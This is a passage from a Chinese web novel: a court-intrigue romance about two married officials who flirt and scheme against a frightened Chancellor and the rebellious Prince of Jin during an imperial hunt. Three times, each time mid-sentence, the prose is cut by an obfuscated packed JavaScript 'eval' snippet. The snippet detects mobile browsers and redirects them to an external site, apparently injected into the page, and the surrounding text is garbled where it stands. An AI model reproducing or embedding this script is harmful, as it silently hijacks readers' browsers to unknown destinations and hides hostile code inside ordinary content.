燕修延白了他一眼,嘴上嫌弃,手上却又不停,给他夹了好几筷子他爱吃的菜,碗里瞬间堆成了小山。 两人吃着菜,聊着天,燕修延忽然想起什么,随口问道:“谢大人怎么看待那些将亡国之罪推到女子头上的话语?” 谢伟恒正将落在碗边的一颗青豆拨回碗中,闻言动作一顿,眼底闪过一丝冷意,语气沉了几分:“将王朝的覆灭归咎到女子身上,实乃荒谬、无耻且无能之举。王朝兴衰,本是朝堂之上男子的责任,不思进取,不谋其政,反倒将罪责推给女子,不过是懦夫的行径。” “我也这么觉得。” 燕修延眼底闪过一丝赞同,端起酒杯,与谢伟恒的酒杯轻轻一碰,发出清脆的声响,“英雄所见略同。” 雅间的门忽然被轻轻推开,温瑞闪身进来,他一眼便瞥见了满桌的佳肴,立刻垮了脸,一屁股坐在桌边的椅子上,不满道:“头儿!我在外面费尽口舌,替你散布消息,嗓子都快喊哑了,你倒好,在这吃香的喝辣的!” 见只有两副碗筷,便起身要去叫小二添一副,“我去让人加副碗筷,今儿个我也沾沾光!” 谢伟恒却叫住了他,淡淡道:“我让人在隔壁雅间,已经替你备下了一桌酒席。” 温瑞一听,立刻喜笑颜开,转头对燕修延道:“头儿,你看看,还是谢大人上道!” 燕修延跟赶苍蝇似的摆摆手,眼底满是了然,哪里是谢伟恒上道。 分明是这人不想让温瑞来打扰他俩二人相处。 温瑞却没察觉,走到门口,又忽然回过头来,迟疑道:“我一个人吃一桌?那多没意思。” 谢伟恒抬眼,淡淡道:“你可以邀请其他人。” “好嘞!多谢谢大人!” 温瑞喜滋滋地应了,转身便一溜烟跑了出去,想来是去呼朋唤友了。 燕修延吃着菜,看着温瑞的背影,失笑摇头:“等他叫上人来,菜早凉了。” 谢伟恒替他盛了一碗汤,推到他面前,笑道:“我让人用小炉子煨着,不会凉的。” 燕修延咬着筷子,抬眼看向谢伟恒,眼底带着点玩味:“你倒是对谁都挺细心。” 谢伟恒看着他,眼底漾着温柔,只说了一句:“他是你的下属。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646223|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 简简单单六个字,却是最直白的爱屋及乌。 燕修延闻言,心头一暖,嘴上却故作勉强,点了点头:“行吧,那我就勉强接受这个说法。” 京城百姓将中书令府闹鬼的事当做茶余饭后的谈资,说得津津有味,可中书令府内,却是一片愁云惨淡,晋王与中书令,更是坐立难安。 道长和大师搬进中书令的院子后,晋王平日里出入的密室正门早已不敢走,只能从密室另一侧的出口进出。 那出口藏在府中一处人迹罕至的院落里,如今这院落也被贴满了黄符,风吹过,黄符“哗啦”作响,瞧着竟添了几分阴森。 即便如此,一到夜里,晋王便辗转难眠,闭眼便是贺梦雨披头散发的模样,总担心那“女鬼”会从密室的另一个入口钻进来,取他性命。 白日里道长和大师外出做法,府中稍显清静,晋王终于忍无可忍,一拍桌子,红木桌面被震得嗡嗡作响,茶杯中的茶水溅出大半,洒在桌案的锦布上,晕开一片湿痕。 “本王不等皇帝生辰了!” 晋王的声音带着滔天的烦躁与惊惧,眼底满是红血丝,“即刻让封地上的士兵全部进京!皇宫里龙气鼎盛,贺梦雨的鬼魂定然进不去,到了皇宫,本王才能安身!” 中书令站在一旁,躬身苦劝,额上满是冷汗:“王爷,不可啊!那么多人一同进京,虽说京郊的别苑够大,可人数实在太多,太过惹眼,极易引起陛下的怀疑啊!” 如今从晋王封地分次来的私兵,都扮成了商人、走贩、乞讨者,分散在城外,未曾引起旁人注意。 武器也早已备好,藏在京郊别苑中。 余下的四千多人,若是一次性进京,纵使再小心,也难免会露出马脚,一旦被陛下察觉,那便是谋逆的大罪啊!” 晋王本就心浮气躁,被中书令这番话一劝,更是怒火中烧,又一拍桌子,怒道:“畏首畏尾!” 中书令吓得连忙跪地,躬身叩首,声音带着哀求:“王爷息怒!有道长和大师坐镇府中,想来是万无一失的。昨夜那女鬼前来,尚未靠近府门,便被黄符击退。” 晋王何尝不知,有那道长和大师在,那“女鬼”根本出不了什么事,可他一想到自己被贺梦雨的鬼魂惦记着,便如鲠在喉,夜不能寐,心底的恐惧如潮水般蔓延,怎么也压不下去。那点理智,早已被无边的惊惧冲得七零八落。 与中书令府的焦躁不同,魏府的偏院内,却是一片静谧。 李想垂手站在一旁,眉头紧蹙,沉声道:“义父,如今晋王行事越发急躁,因着一个虚无缥缈的女鬼,便要贸然想将四千私兵尽数进京,如此行事,太过鲁莽,极易暴露行踪。依孩儿看,要不还是把晋王弃了吧?” 魏仲泽端坐在案前,手中端着一杯热茶,茶雾袅袅,模糊了他的眉眼。 他闻言,指尖轻轻摩挲着茶杯的杯沿,唇角勾起一抹淡淡的冷笑,既不赞同,也不反对。 待茶雾稍散,他才缓缓开口,声音低沉而阴鸷,带着几分谋算:“弃了他?倒也不必。” 魏仲泽将茶杯放在案上,抬眼看向李想,眼底闪过一丝精光:“如今陛下对晋王本就心存忌惮,晋王心中亦有反意,让他与皇帝自相残杀,两败俱伤,总好过于二人联手,一同对付我们。” 他顿了顿,端起茶杯抿了一口,又道:“如今这般局面,正是我们想要的。只需坐山观虎斗,待他们斗得你死我活,我们再坐收渔翁之利,岂不是更好?一个急躁的晋王,远比一个沉稳的晋王,更好控制。” 李想闻言,眼底的迟疑散去,恍然大悟,躬身道:“义父高见,孩儿受教了。” 魏仲泽看着他,唇角的笑意更浓,眼底却无半分温度,手中的茶杯轻轻晃动,茶水上的涟漪,便如他心中的谋算,层层展开,暗潮汹涌。 ———————————— 下章预告: 燕修延对打猎没什么兴趣:“不去,臣正好日日睡到日上三竿再起。” 虞睿祥问谢伟恒:“谢卿也不去?” 66. 身体不适的宁尚书 “去围场打猎?” 燕修延歪歪扭扭窝在锦椅里,二郎腿翘得老高,指尖漫不经心地敲着扶手,语气里裹着三分戏谑七分假模假式的谴责,“陛下这是懈怠朝政了,往日勤政爱民的模样,莫不是被这秋猎勾了魂?” 虞睿祥抬手合上案头的奏折,玉质镇纸轻轻一压,抬眼睨他,语气淡得没半分波澜:“你既不愿,便留在京城便是。” 燕修延本就对弯弓射猎没半分兴趣,当即摆着手应下:“不去便不去,臣正好趁这几日,日日睡到日上三竿再起,落个清闲。” 话音刚落,虞睿祥的目光便扫向一旁垂手立着的谢伟恒,温声问:“谢卿也不去?” 谢伟恒垂眸颔首,声线清润,答得干脆:“既然燕大人不去,那臣便也留京。” 这话入耳,燕修延心里倏地咯噔一下,他当即敛了懒态,腰杆一挺,改口比翻书还快:“臣去!陛下相邀,臣岂有不去之理?臣最是喜爱打猎,骑射功夫,那也是拿得出手的!” 他有些担心,这要是真留了京,整日里无所事事,谢伟恒那厮指不定要变着法子缠上来,满脑子净是些床笫间的旖旎荒唐事。 那急切的模样,落在虞睿祥眼里,哪里还猜不到缘由? 定然是与谢伟恒脱不了干系。 帝王眼底掠过一丝浅淡的笑意,淡淡道:“如此,那谢卿想必也是要去的了。” 谢伟恒抬眸,望了眼身侧急哄哄改口的燕修延,眼底漾开微不可察的笑意,应声:“是,陛下。” “行。” 虞睿祥摆了摆手,“随行名单,朕便让内侍省把你二人的名字添上。” 末了,似是想起什么,又添了一句,语气里带着几分提点,“李羽飞的事,要有个度,莫要闹得太过。” “知道了陛下。” 燕修延随口应着,心里却打起了小算盘,忽然凑上前,挤眉弄眼道,“陛下,中书令何大人,想必也在随行名单上吧?” 虞睿祥何等通透,瞬间会意他的心思,唇角微勾:“自然在的。” “那就好。” 燕修延笑得眉眼弯弯,眼底却藏着狡黠的算计—— 这对中书令而言,可就不是什么好事了。 中书令瞧见随行名单上自己的名字时,心头狠狠一“咯噔”,脸色瞬间白了几分。 他担心贺梦雨的“鬼魂”因寻不到晋王,便转头找上自己这个帮凶。 且不说随圣驾出行,根本没道理带着道士在侧,单是晋王那边,也定然不会让他把道长和大师带在身边。 这是皇帝登基后第一次外出狩猎,他若是敢称病不去,定然会惹得帝王注意,甚至心生不快。 届时别说从龙之功,怕是身家性命都难保。 可去了,那贺梦雨的“鬼魂”若是真的跟去了围场,他岂不是羊入虎口? “为何不去?去!本王已有妙计,此次围场,说不定能让皇帝……。” 说罢,晋王还做了个抹脖子的狠戾动作,“只要事成,本王便可顺理成章在京城登基。” 中书令听得心里苦哈哈的,一边怕晋王事败,自己落个诛九族的下场,一边又抱着一丝侥幸,期盼着晋王真能成事,自己能一步登天。 左右为难之下,也只能硬着头皮应下,转头便搜罗了一整个包袱皮的黄符,连夜让下人缝在贴身的里衣上,从领口到袖口,密密麻麻,恨不得把全身都裹上,只求能保个平安。 那道长和大师,也因着他这一通折腾,赚了个盆满钵满。 出行这日,御林军开道,随行官员骑马相随,旌旗招展,声势浩荡。 燕修延翻身上马,白驹神骏,他一身劲装,衬得身姿挺拔,转头看向一旁正欲翻身上马的谢伟恒,挑眉坏笑,语气轻佻:“谢大人,可要骑马?” 谢伟恒抬眸看他,唇角噙着淡笑,抬手虚扶了一下,温声道:“有劳燕大人。” 燕修延本就是随口逗他,闻言当即拍了一下他的掌心,佯作无奈:“……我就随口一问,可没说要让你与我共乘一骑。” 话音未落,谢伟恒反手便握住了他的手腕,指腹微凉,借着那股力道,身形轻捷地一旋,便翻身上马,稳稳地坐在了燕修延身前。 瞬间,便成了燕修延从后环抱着他的姿势,手臂微张,恰好握住缰绳。 在外人看来,倒像是燕修延伸手拉了谢伟恒一把,助他上马一般。 周遭的官员瞧着,皆是面面相觑——这二位大人的关系,当真是越来越让人看不懂了。 谢伟恒素来清冷矜贵,竟也愿意与燕修延同乘一骑? 吏部尚书甩了甩袖子,看得通透:“什么关系?夫夫关系呗。” 礼部尚书连连附和,点头如捣蒜:“定然是日日在家关门吵,吵着吵着,倒吵出点感情来了。” 一旁有相熟的大人乐呵呵地凑过来,笑道:“有道理有道理,你瞧二位大人共乘一骑,倒也般配。” 也有瞧不上燕修延跳脱性子的大臣,闻言撇了撇嘴,阴阳怪气地吐出两个字:“般配?” 吏部尚书压根懒得搭理那阴阳怪气的主,转头看向礼部尚书,兴致勃勃道:“宁大人,届时围场狩猎,可要与我比一比,谁的猎物更多?” 礼部尚书揣着袖子,头摇得像拨浪鼓,一脸惬意:“不比,你们打猎,我负责吃便好,现成的野味,岂有不吃的道理?” “哎,谢大人。” 燕修延正笑着,眼角余光忽然瞥见不远处中书令的行李车,捆着的包袱一角,露出来明黄的符纸,晃得人眼晕。 他用指尖戳了戳谢伟恒的后背,示意他去看,声音压得极低。 谢伟恒顺着他的目光看去,一眼便瞧见了那抹明黄,眼底闪过一丝冷意,轻声道:“他越害怕,心神不宁,对我们便越有利。” “嘿嘿,等到了围场,让你见识见识我吓人的功夫,保管把那老东西吓得魂飞魄散。” 燕修延笑得狡黠,下巴轻轻垫在谢伟恒的肩头,温热的呼吸拂过他的颈侧,两人贴得极近,说话的声音只有彼此能听见。 说着,燕修延又故意逗他,“你说,旁人见了你这般窝在我怀里,会不会说‘谢大人小鸟依人’?” 谢伟恒穿着一身广袖锦袍,宽大的袖口恰好掩住两人交叠的手。 他借着袖子的掩饰,反手握住燕修延持着缰绳的手,指腹轻轻摩挲着他手腕内侧细腻的皮肤,那处肌肤最是敏感,指尖一点一点往上,动作轻柔,却带着撩人的意味。 燕修延只觉一阵酥痒从手腕蔓延开来,窜遍四肢百骸,他故作正色,压低声音道:“谢大人,青天白日、大庭广众的,你这般动手动脚,可有辱斯文呐。” “旁人看不见。” 谢伟恒微微偏头,温热的呼吸擦过燕修延的耳畔,声音低沉又缱绻,带着几分蛊惑,“只是突然想起,新婚夜那日,用腰带缚住你的手腕,当时,似乎是留下了红痕。” 这话像一簇小火苗,猝不及防落在燕修延的心尖上,手腕处无端生出一种灼烧感,仿佛那日的触感还在,滚烫的,带着几分暧昧的疼。 他下意识地扭了扭手腕,想摆脱他的触碰,嘴上嗔道:“谢大人的脑子里,怕是半分圣贤书都没装,净想这些登不上台面的事情。” 谢伟恒的指尖依旧贴着燕修延的手腕,缓缓往上滑动,直至握住他的小臂,语气带着几分委屈,又几分戏谑,幽幽道:“圣贤书使我明智明理,才克制住了心思,没有做出囚禁燕大人的事情。” “啧。” 燕修延被他撩得心头发痒,干脆单手握住缰绳,另一只手伸到前面,按住谢伟恒作怪的手“谢大人,再乱摸,我可就把你踹下去了。” 谢伟恒低笑一声,指尖在他掌心轻轻挠了一下,语气愈发幽怨:“燕大人还是这般郎心似铁。” 燕修延扬了扬下巴,故作傲娇:“可不,我本就是个铁石心肠,油盐不进。” “燕大人、谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646224|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大人。” 一道爽朗的声音自身后传来,吏部尚书骑着一匹棕马追了上来,他实在是好奇这两个人在说些什么。 为了掩饰这份好奇,还特地拉了礼部尚书作伴。 燕修延一扭头,便瞧见吏部尚书和礼部尚书也同乘一骑,当即挑了挑眉,语气玩味:“你俩这是……” 礼部尚书探头,目光落在面色淡然的谢伟恒身上,好奇道:“谢大人,你们两个方才凑在一起,说什么悄悄话呢,神神秘秘的。” 吏部尚书连忙接过话头,解释道:“宁大人不会骑马,我带他一程。” 燕修延拖长了音“哦”了一声,袖子下的手,狠狠掐了一下谢伟恒的手背——这小子,方才的账还没算。 谢伟恒吃痛,却也不恼,只是反手握住他的手,指尖在他掌心轻轻摩挲,算作回敬。 等等,礼部尚书不会骑马?什么时候的事? 燕修延怎么记得当年年大将军还亲口夸过他骑术精湛,箭法也不错,怎么今日就不会骑马了? 吏部尚书大约也想起了这茬,脸色微僵,连忙找补道:“咳咳,宁大人身子不适,不方便自己骑马。” 燕修延的表情瞬间变得猥琐起来,挤眉弄眼道:“哦?怎么个身子不适法?” 礼部尚书想也没想,脱口而出:“胳膊脱臼。” 吏部尚书同时开口,答的却是:“腿不舒服。” 两人话音一落,皆是一顿,面面相觑。 礼部尚书反应快,当即改口:“腿不舒服。” 吏部尚书也连忙附和:“胳膊脱臼。” 礼部尚书拍了一下吏部尚书的胳膊,咬牙道:“胳膊脱臼,外加腿不舒服!” 燕修延看着二人慌乱的模样,意味深长地拖长了音,又“哦~”了一声,那眼神,写满了“我懂的”。 礼部尚书瞧着他这眼神,一脸茫然:“燕大人这是什么眼神?” 吏部尚书比他懂的多些,咳了一声,直言不讳:“看奸夫淫夫的眼神。” 礼部尚书:“啊?” “哈哈哈!” 燕修延再也忍不住,朗声大笑起来,扬鞭一抽马腹,白驹吃痛,撒开四蹄便往前冲,绝尘而去。 风掠过耳畔,笑声肆意张扬,传了很远。 谢伟恒整个人靠在燕修延怀里,能清晰地感受到身后人胸膛的震动,那笑声落在耳里,清脆又悦耳,让他心头也跟着漾开暖意。 他微阖起眼,掩饰住眼底浓烈得快要溢出来的情愫,心底的念头愈发清晰—— 他想就这样,就在这马背之上,狠狠地**燕修延,将他揉进自己的骨血里。 许是谢伟恒眼底的情愫太过浓烈,连带着周身的气息都变了,燕修延骑在马上,忽然觉得后颈发凉,像是被什么东西盯上了一般。 他勒住缰绳,让马的速度慢下来,伸手摸了摸发凉的后颈,另一只手拍拍谢伟恒的肩膀,疑惑道:“谢大人,你脑子里在想什么?一股子邪气。” 谢伟恒缓缓睁开眼,偏过头,脸颊擦过燕修延的鬓角,嘴唇轻轻擦过他的脸颊,带着微凉的触感。 燕修延的呼吸倏地一滞。 下一秒,便听见谢伟恒的声音在耳畔响起,低沉又缱绻,带着几分直白的蛊惑,几分毫不掩饰的欲望:“在想,燕大人如何才能愿意,同我春风一度。” 燕修延闭上了嘴巴,他就不该问! 谢伟恒这家伙,背着人的时候,就没半分正形! ———————————— 道士和大师:遇见了个人傻钱多的,得好好宰他!!! 马:玛德,要打情骂俏也得先从本大爷身上下去啊,两个大老爷们很重的好吗!有时候做马也不是一件好事!! 下章预告: 香是谁,玉又是谁?这俩字跟谢伟恒沾边? 燕修延的表情有一瞬间狰狞,他还没说新婚之夜谢伟恒跟头野兽似的一整夜没让人休息呢…… 67. 这俩字跟谢伟恒沾边? 到了行宫,燕修延和谢伟恒分到了一处小院子。 燕修延蹲在温泉池边,指尖捻起一瓣粉白的海棠,花瓣上凝着的水珠滚落在池面,漾开细碎的涟漪。 “这温泉水看着暖,晚上泡着正好解解赶路的乏。” 他话音落,回头便撞进谢伟恒的眼眸里——那双眼眸平日里清冽如寒潭,此刻映着池边的灯笼影,竟漾着几分说不清道不明的幽深,像藏着揉碎的星光,偏偏又带着点势在必得的勾人。 燕修延心头一跳,指尖的海棠瓣掉回池里,“我告诉你嗷,把你脑子里那些乱七八糟的东西清干净,想都别想!” 这附近可都住着手下的人,还有朝中大臣,别乱来。 谢伟恒唇角微勾,眼底的笑意藏不住,偏摆出一副无辜模样,眉峰轻蹙,声音温温的:“燕大人在说什么?臣不过是瞧着这温泉池景致好,想着大人一路辛苦,该好好歇歇罢了。” “你就装傻吧你!” 燕修延伸手撩起一捧温水,径直泼向谢伟恒,水花溅在谢伟恒的锦袍前襟,晕开一片湿痕,“我早就看穿你那点心思了,别以为我看不出来!” 几滴水珠溅在谢伟恒的脸颊,顺着他白皙的下颌线滑落,没入衣领,留下一道浅浅的水痕,倒真有几分似落了泪的模样。 “谢卿这是怎么了?怎还落了泪?” 虞睿祥的笑声从院外传来,他身着明黄常服,身后跟着两个小太监,刚踏进门就瞧见这一幕。 他自然知道谢伟恒素来冷硬,断不会轻易落泪,却偏故意打趣,目光在二人之间转了圈,“修延啊修延,你这性子也太烈了,一点都不懂得怜香惜玉。” 谢伟恒垂着眼,长长的睫毛在眼下投出一小片阴影,声音低低的,带着几分“委屈”:“臣习惯了。” 怜香? 惜玉? 燕修延听得太阳穴突突跳,嘴角狠狠抽了抽。 香是谁?玉又是谁?这俩字跟谢伟恒沾边? 怕是天底下最离谱的话了。 他想起新婚之夜,这人哪里有半分“玉”的温软,分明跟头脱了缰的野兽似的一整夜没让人休息呢…… 当然,这话燕修延肯定不会在人前说的。 若是让虞睿祥听了去,往后几十年,怕是要被这位陛下拿这事笑到白头。 虞睿祥抬手让随行的宫人守在院门外。 他指了指温泉池,语气带着几分得意:“朕特地把这带温泉的院子留给你们二人,放眼整个行宫,也就这一处最得劲,近着朕的寝殿,也清静。” “那臣还得多谢陛下的‘厚爱’了?” 燕修延扯着嘴角,皮笑肉不笑,心里腹诽:陛下分明是故意的,明知道他和谢伟恒凑在一起就没个正形,还偏安排在这么个地方。 虞睿祥一摆手,大剌剌地走到池边,伸手探了探水温,“不必谢,好好替朕办事就行。” 燕修延翻了个小小的白眼,刚要开口怼回去,手腕就被谢伟恒轻轻按住。 谢伟恒的掌心温热,指腹摩挲着他的手腕,语气恭敬又沉稳:“臣和燕大人自当尽心竭力,尽到做臣子的本分,定不辜负陛下所托。” “伟恒不必如此谨慎。” 虞睿祥抬手点了点谢伟恒的肩膀,笑得眉眼弯弯,“朕既让人守在院子外头,便是给你们留了分寸,修延就算在这院里说些大逆不道的话,也不会传出去半分。” 燕修延立马附和,伸手比了个抢东西的姿势,语气痞痞的:“那敢情好,咱们就算把陛下身上那些值钱的玉佩、玉带抢走了,也没人知道,更不会传出去。” 虞睿祥被他逗得哈哈大笑,伸手敲了敲他的额头,“别跟个土匪头子下山似的,也不瞧瞧皇家的东西,你抢了去,外头哪个当铺敢收?怕是刚拿出宫门,就被侍卫拿下了。” “所以臣才没真对陛下下手啊。” 燕修延揉着额头,笑得狡黠,眼底满是算计。 谢伟恒轻咳一声,打断二人的嬉闹,目光看向虞睿祥,神色恢复了几分严肃:“不知陛下来此,可是有何要事吩咐?” 虞睿祥脸上的笑意淡了些,故作不满地瞥了他一眼,“朕刚跟修延说上两句话,就被你打断了,倒成了催命的了。” 燕修延立马伸手,掌心向上,冲着虞睿祥晃了晃,“陛下要是再跟我唠嗑,那可就要收钱了——我替谢大人收的。” “你一个子儿都别想要到。” 虞睿祥失笑,心里门儿清,谢伟恒哪里是在乎钱的人,怕是把燕修延宠得没边,别说钱,便是燕修延要天上的星星,这人怕是也会想办法摘下来。 他转身往外走,走到院门口时回头道:“朕只是坐车坐了大半天,筋骨僵了,出来散散心。倒是你们,别不知足,朕把这好院子给你们,有的人可就没这福气了,被安排在东北角,偏僻得很,连个守院的宫人都少。” 燕修延扭头凑到谢伟恒耳边,声音压得极低,带着点坏笑:“你那上司在东北角,晚上正好吓他去。” 夜色渐浓。 行宫的大殿里灯火通明,明烛高挂,映得殿内亮如白昼。 虞睿祥设下宴席款待随行大臣,案上摆满了精致点心与美酒,丝竹声悠悠响起,舞姬们莲步轻移,翩跹起舞。 她们身着薄如蝉翼的舞衣,脚脖子上系着红绳,红绳上串着小巧的银铃铛,每走一步,便发出“叮铃叮铃”的轻响,衬得脚踝愈发纤细白皙,步步生莲,晃得人眼晕。 燕修延的目光本随意扫着舞姬,却不知怎的,落在了那银铃铛上。 铃铛小巧,红绳缠腕,若是系在谢伟恒身上……他下意识瞥了眼身侧的人。 谢伟恒肤白胜雪,比那些舞姬还要白上几分……见鬼!他为什么会想到这些? 肯定是被谢伟恒影响的,他以前从来不会想这些乱七八糟的东西。 谢伟恒一直留意着燕修延的动静,见他目光定在舞姬的脚腕上许久,指尖轻轻碰了碰他的胳膊,低声问道:“燕大人在看什么?这般入神。” 燕修延脑子里还憋着气,怪谢伟恒把自己带偏了,嘴巴比脑子快,脱口而出:“你看那个铃铛,挂你身上好看不?” 他这话刚落,舞姬们恰好跳完一支舞,丝竹声骤然停歇。 大殿里静了一瞬,这话便清清楚楚地飘进了周围人的耳朵里。 离得近的大臣们先是一愣,随即纷纷侧目,看向燕修延和谢伟恒。 离得远的没听清,扯着身边人的袖子小声打听:“怎么了?燕大人刚才说什么了?” 听清的人压低声音,眼里满是震惊与八卦:“燕大人说,要把舞姬身上的铃铛,挂谢大人身上!” “嚯!这不是把谢大人当猫儿狗儿耍吗?” “可不是嘛,你瞧谢大人的脸,都气红了,估计是人多,不好发作。” “换谁谁不气?谢大人素来矜贵,哪里受过这等打趣。” “咳——” 虞睿祥端着酒杯刚喝了一口,闻言险些呛着,酒液沾了点在唇角,他抬手擦去,笑得前仰后合,“燕卿啊燕卿,有些话,你们二人关起门来说便罢了,何必在这大殿之上说出来,让大家跟着凑热闹。” 谢伟恒蜷起手指,放在膝上,低垂着脑袋,旁人看不清他的表情。 只瞧见他的脸颊红得快要滴血,连耳廓都染透了,从耳根到下颌,红得似抹了胭脂,瞧着竟有几分羞赧。 周围的大臣们纷纷投来谴责的目光,看向燕修延的眼神里满是“燕大人太过分”,心说这是什么虎狼之词,把谢大人臊成这样。 燕修延嘴角狠狠一抽,心里喊冤。 冤枉啊!要说虎狼之词,谁能说得过谢伟恒? 那人私下里,说起那些话来一套一套的,不带重样的,撩得人腿软,这会儿倒好,装起羞赧来了。 燕修延摸了摸鼻子,不敢再看周围的目光,低头端起酒杯,猛灌了一口酒。 虞睿祥笑够了,摆了摆手,高声道:“好了好了,接着奏乐,接着舞!他二人的夫夫情趣,我等旁人,就别瞎掺和了。” 这话一出,大殿里更热闹了,大臣们眼里的八卦更甚,丝竹声再次响起,舞姬们继续起舞。 原本认真看歌舞的人,目光却时不时地扫过燕修延和谢伟恒,眼神里藏着探究。 燕修延被看得浑身不自在,弯腰偏头去看谢伟恒的表情。 瞧瞧,这羞愤的小表情。 可真能糊弄人。 在人前,还得陪着演戏。 他拉着谢伟恒的袖子故意装出哄人的样子,声音压得极低,带着点警告:“谢大人,适可而止啊,别演了。” 谢伟恒偏过头,不看他,耳廓的红还没褪,肩膀微微绷着,瞧着真跟生了气似的。 礼部尚书凑到吏部尚书身边,压低声音咬耳朵:“快看快看,谢大人生气了,瞧这模样,怕是哄不好的那种。” 吏部尚书眯着眼睛看了看,迟疑道:“应该能哄好吧?燕大人好歹是他的夫郎,哪能真生这么大的气。” 燕修延听得一清二楚,捏了捏拳头,端起酒杯,跟谢伟恒的酒杯轻轻碰了碰,声音稍稍抬高了些,带着点敷衍的哄劝:“我给你赔罪,行不行?这杯酒我干了,你别气了。” 吏部尚书立马改口,咂咂嘴:“燕大人这哪是哄人,这语气,怕是要把谢大人气死。” 谢伟恒这才缓缓转过头,看了燕修延许久,那双泛红的眼眸里,藏着几分不易察觉的笑意,最终还是轻轻端起酒杯,抿了一小口,酒液沾湿了唇角,添了几分艳色。 燕修延冲着他眯了眯眼睛,眼底的警告明晃晃的:惯会演戏的家伙,等回了院子,看我怎么收拾你。 谢伟恒接收到他的目光,唇角微勾,眼底的羞赧散去,换成了几分狡黠与期待,无声地用口型道:我期待着。 燕修延:……合着这人还等着自己回去“收拾”?真是倒反天罡。 礼部尚书满脸意外,戳了戳吏部尚书:“谢大人这么好哄的?就喝一口酒,气就消了?” 吏部尚书猜测:“定是顾及燕大人的面子,毕竟二人已成亲,这众目睽睽之下,总不好一直让燕大人下不来台,说到底,还是谢大人疼人。” 礼部尚书:“有道理。” 燕修延耳朵尖,把这话听得一字不落,心里暗骂:有道理你个大头鬼!他哪里是疼人,他是憋着坏呢! 谢伟恒放下酒杯,指尖轻轻碰了碰燕修延的手肘,目光不动声色地瞥向殿中一侧的中书令,微微抬了抬下巴。 燕修延顺着他的目光看去,立马收了心思,脸上的笑意淡去,眼底多了几分冷意。 中书令端着酒杯,却没心思喝,眉头紧锁,频频看向殿外,夜色越来越浓,他的脸色也越来越沉,手指无意识地摩挲着杯壁,满是忐忑。 他住的正是虞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646225|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睿祥说的东北角院落,偏僻得很,院外只有两个老宫人守着,连个巡逻的侍卫都少。 往年随先帝出行,他素来被安排在靠近主殿的位置,今年不知怎的,竟被扔到了这么个犄角旮旯。 中书令找宫人打听了,宫人只说陛下体恤,年岁大的大臣觉浅,住偏些的地方不容易被打扰,晨起还能在园子里散散步。 可以说是很贴心了。 可他不需要这种贴心啊! 而此时的京城,李府的前庭里,张采茵拉着媒婆的袖子,急得额头冒汗,鬓边的珠花歪了也顾不上整理,语气带着几分哀求与急切:“王嬷嬷,您先别走啊,我还没说完呢!孙家的不行,咱们就再看看别家嘛,京城里的世家公子又不是只有孙家一个,家境殷实的、品性端正的,多的是,咱们都可以商量,条件都好说,嫁妆李家出双倍,三倍都行!” 她的手指紧紧攥着媒婆的衣袖,指节泛白,生怕一松手,人就跑了。 一旁的清淑垂着手站在廊下,默默看着这一幕,眼底没什么波澜,只是微微垂着眼,看着地上的青石板。 那媒婆被拉得动弹不得,脸上满是为难与不耐,使劲挣了挣袖子,叹着气:“夫人,不是老身不肯帮衬,实在是这差事,老身接不了啊!您家小姐的名声,京城里谁不知道?‘孤鬼’的名号,传遍了大街小巷,正经人家的公子,谁愿意求娶?便是那些商户人家,也嫌这名号晦气,老身若是接了,岂不是砸了自己的饭碗?” 话音落,媒婆猛地用力,挣开张采茵的手,连行礼都顾不上,转身就往府门外跑,脚步匆匆,像是身后有什么东西追着似的,生怕慢了一步,就沾了晦气。 张采茵看着媒婆逃也似的背影,气得直跺脚,胸口剧烈起伏,骂道:“什么东西!不过是个媒婆,也敢给我摆架子!” 她刚要抬脚去追,却被身边的丫鬟拉住,丫鬟小声劝道:“夫人,别追了,这已是第四位媒婆了,追也没用。” 张采茵这才停下脚步,颓然地垂下手,满脸的焦躁与无奈。 待前庭的人散了,清淑才抬脚,穿过游廊,走到李羽飞的住处。 屋内燃着淡淡的檀香,李羽飞坐在窗边的梨花木椅上,手中端着一杯温热的雨前龙井,茶汤清澈,水汽氤氲,模糊了她的眉眼。 她见清淑进来,轻轻放下茶杯,杯底与茶托相碰,发出一声轻响,语气淡淡:“如何?” 清淑垂首行礼,声音恭敬:“回小姐,已是第四位媒婆了,方才那位媒婆,也逃了,连定金都没敢收。” 李羽飞闻言,唇角微勾,露出一抹浅淡的笑意,那笑意却没达眼底,眼底依旧是一片清寒,像结了薄冰的湖面。 “劳烦你再去看看,府门外可有别的媒婆,若是有,便请进来坐坐。” 李羽飞的语气平淡,听不出喜怒,却带着一股不容拒绝的意味。 清淑躬身应下:“是,小姐。”说完,便转身退出了房间。 